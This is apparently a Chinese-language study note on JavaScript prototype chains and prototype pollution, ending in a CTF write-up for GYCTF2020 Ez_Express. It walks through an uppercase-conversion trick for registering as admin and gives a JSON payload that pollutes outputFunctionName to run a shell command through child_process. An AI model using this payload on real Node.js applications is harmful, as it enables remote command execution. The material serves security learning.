原型链
概念
在 JavaScript 中,没有父类和子类这个概念,也没有类和实例的区分,而 JavaScript 中的继承关系则是靠一种叫做 “原型链” 的模式来实现的。
如果要定义一个类,需要以定义“构造函数”的方式来定义。例如下面的Foo函数就是Foo类的构造函数,this.bar就是Foo类的一个属性
1 2 3 4 5
| function Foo() { this.bar = 1 }
new Foo()
|
在类中定义show方法,这种写法会在每次新建一个Foo对象时执行this.show = function...
,也就是说这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
如果要在创建类时只创建一次show方法,就需要使用原型(prototype)
- 原型(prototype)是类Foo的一个属性
- 所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。例如foo对象天生就具有
foo.show()
方法
访问原型的方式:
访问Foo类的原型:
访问Foo类实例化出来的对象的原型:
总结
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法
- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
继承机制
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
这里Son类继承了Father类的last_name。调用son.last_name
时会先在Son对象中寻找目标,然后是son.__proto__
,再找不到就是son.__proto__.__proto__
,一直循环下去直到找到null结束
原型链污染
原理
foo.__proto__
指向OBject类的prototype,修改它就可以修改Object类
- foo是Object类的实例,执行
foo.__proto__.bar = 2
相当于给Object类添加了一个bar属性,值为2
- 后面用Object类创建了一个zoo对象,自然就有bar属性了
漏洞场景
原型链污染常出现于能够控制数组(对象)的“键名”的操作:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
未能成功污染原型链,原因是在执行let o2={a:1,"__proto__":{b:2}}
时,__proto__
已经代表o2的原型,这样在执行for (let key in source)
遍历o2的键名时就不会把__proto__
当作一个key,不会修改Object原型
需要加上JSON解析才能让__proto__
被认定为是一个键名,从而成功污染原型链
[GYCTF2020]Ez_Express
知识点
- 存在大小写转换函数(toUpperCase),利用特殊字符绕过登录admin
- merge+clone,js原型链污染
过程
开始是一个登录界面
下载www.zip
在routes目录下有index.js,可以看到有merge和clone,可以判断是原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); });
router.get('/login', function (req, res) { res.render('login'); });
router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
|
调用clone的位置,需要先以admin身份登录
1 2 3 4 5
| router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
|
登录部分的处理逻辑,可以看到限制注册用户admin,大小写都不行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; });
|
用户名处使用了toUpperCase,可以用特殊字符注册绕过
1
| 'user':req.body.userid.toUpperCase()
|
参考
注册用户
成功以admin身份登录
现在来看看需要污染哪个参数
此处将 res 对象中的 outputFunctionName
属性渲染入 index
中,而 outputFunctionName
是未定义的
1 2 3
| router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
|
修改为json格式的payload,同时还需要把Content-Type 设为 application/json(express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:)
1
| {"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
|
访问/info得到flag
总结
- 寻找可以修改
__proto__
的地方(merge)
- 寻找合适的属性进行原型链污染(未被赋值,存在利用点)
参考链接
https://www.anquanke.com/post/id/242645
https://www.anquanke.com/post/id/236182
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://nikoeurus.github.io/2019/11/30/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/#%E5%8E%9F%E5%9E%8B